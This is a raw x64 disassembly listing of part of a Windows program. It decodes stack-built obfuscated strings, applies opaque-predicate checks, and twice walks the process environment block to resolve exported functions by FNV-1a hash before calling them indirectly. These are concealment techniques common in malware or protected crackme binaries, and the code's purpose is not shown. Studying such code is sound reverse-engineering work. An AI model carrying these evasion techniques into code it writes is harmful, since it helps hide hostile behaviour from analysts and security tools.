mov byte [rsp + 0x11c3], 0xf3
mov byte [rsp + 0x11c4], 0xf4
mov byte [rsp + 0x11c5], 0xea
mov byte [rsp + 0x11c6], 0xf6
mov byte [rsp + 0x11c7], 0xe8
mov byte [rsp + 0x11c8], 0x88
mov byte [rsp + 0x11c9], 0xe9
xor eax, eax
mov qword [rsp + 0x11ca], rax
mov byte [rsp + 0x11d2], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x33
jae 0x14004e177
movabs r8, 0x310c88293bdd8518
nop word [rax + rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x11a0]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x58
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x11a0], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x33
jb 0x14004e130
lea rdx, [rsp + 0x11a0]
lea rcx, [rsp + 0x2390]
call fcn.140002170
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x11e0], 0x4c
mov byte [rsp + 0x11e1], 0x4d
mov byte [rsp + 0x11e2], 0x91
mov byte [rsp + 0x11e3], 0x90
mov byte [rsp + 0x11e4], 0x93
mov byte [rsp + 0x11e5], 0x58
mov byte [rsp + 0x11e6], 0x56
mov byte [rsp + 0x11e7], 0x8b
mov byte [rsp + 0x11e8], 0x54
mov byte [rsp + 0x11e9], 0x5d
mov byte [rsp + 0x11ea], 0x99
mov byte [rsp + 0x11eb], 0x98
mov byte [rsp + 0x11ec], 0x84
mov byte [rsp + 0x11ed], 0x59
mov byte [rsp + 0x11ee], 0x82
mov byte [rsp + 0x11ef], 0x5f
mov byte [rsp + 0x11f0], 0x80
mov byte [rsp + 0x11f1], 0x5d
mov byte [rsp + 0x11f2], 0xfe
mov byte [rsp + 0x11f3], 0x23
mov byte [rsp + 0x11f4], 0xfc
mov byte [rsp + 0x11f5], 0x32
mov byte [rsp + 0x11f6], 0x26
mov byte [rsp + 0x11f7], 0x34
mov byte [rsp + 0x11f8], 0x24
mov byte [rsp + 0x11f9], 0x2d
mov byte [rsp + 0x11fa], 0xe9
mov byte [rsp + 0x11fb], 0x22
mov byte [rsp + 0x11fc], 0x28
mov byte [rsp + 0x11fd], 0xf5
mov byte [rsp + 0x11fe], 0x2e
mov byte [rsp + 0x11ff], 0xf3
mov byte [rsp + 0x1200], 0x2c
mov byte [rsp + 0x1201], 0xf1
mov byte [rsp + 0x1202], 0x32
mov byte [rsp + 0x1203], 0xef
mov byte [rsp + 0x1204], 0x30
mov byte [rsp + 0x1205], 0x39
mov byte [rsp + 0x1206], 0xf5
mov byte [rsp + 0x1207], 0x3e
mov byte [rsp + 0x1208], 0x34
mov byte [rsp + 0x1209], 0x35
mov byte [rsp + 0x120a], 0xc0
mov byte [rsp + 0x120b], 0x3b
mov byte [rsp + 0x120c], 0x2b
mov byte [rsp + 0x120d], 0x39
mov byte [rsp + 0x120e], 0x3e
mov byte [rsp + 0x120f], 0x1f
xor eax, eax
mov qword [rsp + 0x1210], rax
mov dword [rsp + 0x1218], eax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x3c
jae 0x14004e397
movabs r8, 0x3e0247985c44b42e
nop word [rax + rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x11e0]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x42
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x11e0], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x3c
jb 0x14004e350
lea rdx, [rsp + 0x11e0]
lea rcx, [rsp + 0x2390]
call fcn.140002170
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x1220], 0x40
mov byte [rsp + 0x1221], 0xfd
mov byte [rsp + 0x1222], 0x1d
mov byte [rsp + 0x1223], 0x1c
mov byte [rsp + 0x1224], 0x1b
mov byte [rsp + 0x1225], 0x1a
mov byte [rsp + 0x1226], 0x49
mov byte [rsp + 0x1227], 0x47
mov byte [rsp + 0x1228], 0x17
mov byte [rsp + 0x1229], 0x16
mov byte [rsp + 0x122a], 0x15
mov byte [rsp + 0x122b], 0xf7
mov byte [rsp + 0x122c], 0x13
mov byte [rsp + 0x122d], 0xf1
mov byte [rsp + 0x122e], 0x4e
mov byte [rsp + 0x122f], 0xf3
mov byte [rsp + 0x1230], 0xef
mov byte [rsp + 0x1231], 0xd
mov byte [rsp + 0x1232], 0xed
mov byte [rsp + 0x1233], 0xbc
mov byte [rsp + 0x1234], 0xeb
mov byte [rsp + 0x1235], 0xea
mov byte [rsp + 0x1236], 0xe9
mov byte [rsp + 0x1237], 0xe8
mov byte [rsp + 0x1238], 0xe7
mov byte [rsp + 0x1239], 0xe6
mov byte [rsp + 0x123a], 0xb5
mov byte [rsp + 0x123b], 7
mov byte [rsp + 0x123c], 0xe3
mov byte [rsp + 0x123d], 1
mov byte [rsp + 0x123e], 0xbe
mov byte [rsp + 0x123f], 3
mov byte [rsp + 0x1240], 0xff
mov byte [rsp + 0x1241], 0x1d
mov byte [rsp + 0x1242], 0xfd
mov byte [rsp + 0x1243], 0xfc
mov byte [rsp + 0x1244], 0xfb
mov byte [rsp + 0x1245], 0xaa
mov byte [rsp + 0x1246], 0xa6
mov byte [rsp + 0x1247], 0xf8
mov byte [rsp + 0x1248], 0xa7
mov byte [rsp + 0x1249], 0xa9
mov byte [rsp + 0x124a], 0xaa
mov byte [rsp + 0x124b], 0xab
mov byte [rsp + 0x124c], 0x8c
xor eax, eax
mov dword [rsp + 0x124d], eax
mov byte [rsp + 0x1251], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x32
jae 0x14004e597
movabs r8, 0x5839c0cdae188a70
nop
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x1220]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x10
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x1220], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x32
jb 0x14004e550
lea rdx, [rsp + 0x1220]
lea rcx, [rsp + 0x2390]
call fcn.140002170
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x17a8]
lea rcx, [rsp + 0x2390]
call fcn.140002380
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x1b68]
lea rcx, [rsp + 0x2390]
call fcn.140002380
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x1b48]
lea rcx, [rsp + 0x2390]
call fcn.140002380
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x1b28]
lea rcx, [rsp + 0x2390]
call fcn.140002380
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x1b08]
lea rcx, [rsp + 0x2390]
call fcn.140002380
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x1a48]
lea rcx, [rsp + 0x2390]
call fcn.140002380
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x1a28]
lea rcx, [rsp + 0x2390]
call fcn.140002380
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x1a08]
lea rcx, [rsp + 0x2390]
call fcn.140002380
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x1908]
lea rcx, [rsp + 0x2390]
call fcn.140002380
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x18e8]
lea rcx, [rsp + 0x2390]
call fcn.140002380
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x18c8]
lea rcx, [rsp + 0x2390]
call fcn.140002380
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x1948]
lea rcx, [rsp + 0x2390]
call fcn.140002380
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x1988]
lea rcx, [rsp + 0x2390]
call fcn.140002380
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x19c8]
lea rcx, [rsp + 0x2390]
call fcn.140002380
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x1070], 0x3a
mov byte [rsp + 0x1071], 0x28
mov byte [rsp + 0x1072], 0x59
mov byte [rsp + 0x1073], 0x5a
mov byte [rsp + 0x1074], 0x67
mov byte [rsp + 0x1075], 0x65
mov byte [rsp + 0x1076], 0x60
mov byte [rsp + 0x1077], 0x6e
mov byte [rsp + 0x1078], 0x94
mov byte [rsp + 0x1079], 0xb2
mov byte [rsp + 0x107a], 0x52
mov byte [rsp + 0x107b], 0x5e
mov byte [rsp + 0x107c], 0x5f
mov byte [rsp + 0x107d], 0x56
mov byte [rsp + 0x107e], 0xa0
mov byte [rsp + 0x107f], 0x9f
mov byte [rsp + 0x1080], 0xfc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1081], xmm0
mov word [rsp + 0x1091], ax
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x23
jae 0x14004e8c7
movabs r8, 0x895131f21ba7083e
nop dword [rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x1070]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x4e
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x1070], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x23
jb 0x14004e880
lea r8, [rsp + 0x19e8]
lea rdx, [rsp + 0x1070]
lea rcx, [rsp + 0x900]
call fcn.14005e370
nop
mov rbx, qword [rax + 0x10]
mov rcx, rax
call fcn.1400020a0
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x2390]
call fcn.140002a40
lea rdx, [0x140002340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x900]
call fcn.140001c70
lea rcx, [rsp + 0x2390]
call fcn.14005bad0
nop
mov byte [rsp + 0x880], 0x6c
mov byte [rsp + 0x881], 0x6d
mov byte [rsp + 0x882], 0x6a
mov byte [rsp + 0x883], 0x6b
mov byte [rsp + 0x884], 0x68
mov byte [rsp + 0x885], 0x69
mov byte [rsp + 0x886], 0x66
mov byte [rsp + 0x887], 0x67
xor eax, eax
mov qword [rsp + 0x888], rax
mov byte [rsp + 0x890], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x11
jae 0x14004e9e7
movabs rbx, 0x6fc3a86a4c030992
nop dword [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x880]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 2
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x880], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x11
jb 0x14004e9a0
mov rax, qword [rsp + 0x880]
mov qword [rsp + 0x1580], rax
mov byte [rsp + 0x7c0], 0x36
mov byte [rsp + 0x7c1], 0x39
mov byte [rsp + 0x7c2], 0x38
mov byte [rsp + 0x7c3], 0x3b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x7c4], xmm0
mov byte [rsp + 0x7d4], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jae 0x14004ea8c
movabs rbx, 0xd47422afac7bc4d7
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x7c0]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0x1f
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x7c0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jb 0x14004ea45
movsxd rax, dword [rsp + 0x7c0]
mov qword [rsp + 0x16d0], rax
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004f113
mov byte [rsp + 0x780], 0xa5
mov byte [rsp + 0x781], 0xaa
mov byte [rsp + 0x782], 0x97
mov byte [rsp + 0x783], 0xa9
mov byte [rsp + 0x784], 0xb4
mov byte [rsp + 0x785], 0xb7
mov byte [rsp + 0x786], 0xb1
mov byte [rsp + 0x787], 0x89
mov byte [rsp + 0x788], 0x89
mov byte [rsp + 0x789], 0xb5
mov byte [rsp + 0x78a], 0x8f
mov byte [rsp + 0x78b], 0x43
xor eax, eax
mov qword [rsp + 0x78c], rax
mov dword [rsp + 0x794], eax
mov word [rsp + 0x798], ax
mov byte [rsp + 0x79a], al
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x1b
jae 0x14004ebc7
movabs rbx, 0x83a3471ea83d258c
nop dword [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x780]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0x2c
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x780], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1b
jb 0x14004eb80
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14004ec6a
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14004ec6a
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x14004ec65
mov ecx, 0x1121253b
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14004ec40
cmp ecx, 0x6993ffc6
je 0x14004ed68
test r8d, r8d
jne 0x14004ec10
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x14004ec80
cmp qword [rax + 0x30], 0
je 0x14004ec80
mov al, 1
jmp 0x14004ec82
xor al, al
test al, al
jne 0x14004ebe0
mov rax, r12
lea r8, [rsp + 0x780]
lea rdx, [rsp + 0x16d0]
lea rcx, [rsp + 0x1580]
call rax
mov rcx, r12
test eax, eax
setne cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004ed86
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004ed86
mov ebx, 7
jmp 0x14004ee21
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x14004ec8d
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004ee1a
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14004ee21
mov ebx, dword [rsp + 0x1678]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov ecx, edi
movsx eax, al
imul ecx, eax
lea edx, [rcx + rcx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14004f113
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14004ef1a
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14004ef1a
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x14004ef15
mov ecx, 0x98ad75e1
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14004eef0
cmp ecx, 0x421e5081
je 0x14004f03c
test r8d, r8d
jne 0x14004eec0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x14004ef30
cmp qword [rax + 0x30], 0
je 0x14004ef30
mov al, 1
jmp 0x14004ef32
xor al, al
test al, al
jne 0x14004ee90
mov rdx, r12
xor ecx, ecx
call rdx
call fcn.140003750
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003790
movsx r8d, al
mov edx, ebx
imul edx, edi
lea ebx, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*2]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004f05a
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004f05a
mov eax, 7
jmp 0x14004f0f5
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14004ef3d
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004f0ee
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14004f0f5
mov eax, dword [rsp + 0x1678]
cmp r12d, eax
jge 0x14004f113
lea rdx, [0x140073888]
lea rcx, [rsp + 0x1b88]
call fcn.140001d00
jmp 0x14004f6b6
mov rdx, qword [rsp + 0x1580]
lea rcx, [rsp + 0x760]
call fcn.140001d00
mov rbx, rax
mov byte [rsp + 0x1260], 0x8a
mov byte [rsp + 0x1261], 0x9a
mov byte [rsp + 0x1262], 0x88
mov byte [rsp + 0x1263], 0x8b
mov byte [rsp + 0x1264], 0x9e
mov byte [rsp + 0x1265], 0x9e
mov byte [rsp + 0x1266], 0x88
mov byte [rsp + 0x1267], 0x9c
mov byte [rsp + 0x1268], 0x92
mov byte [rsp + 0x1269], 0x8d
mov byte [rsp + 0x126a], 0x81
mov byte [rsp + 0x126b], 0x96
mov byte [rsp + 0x126c], 0x91
mov byte [rsp + 0x126d], 0x89
mov byte [rsp + 0x126e], 0x98
mov byte [rsp + 0x126f], 0x8e
mov byte [rsp + 0x1270], 0x84
mov byte [rsp + 0x1271], 0xf8
mov byte [rsp + 0x1272], 0x81
mov byte [rsp + 0x1273], 0xff
mov byte [rsp + 0x1274], 0xfb
mov byte [rsp + 0x1275], 0xfd
mov byte [rsp + 0x1276], 0xf7
mov byte [rsp + 0x1277], 0xec
mov byte [rsp + 0x1278], 0xe2
mov byte [rsp + 0x1279], 0xf4
mov byte [rsp + 0x127a], 0xe3
mov byte [rsp + 0x127b], 0xf5
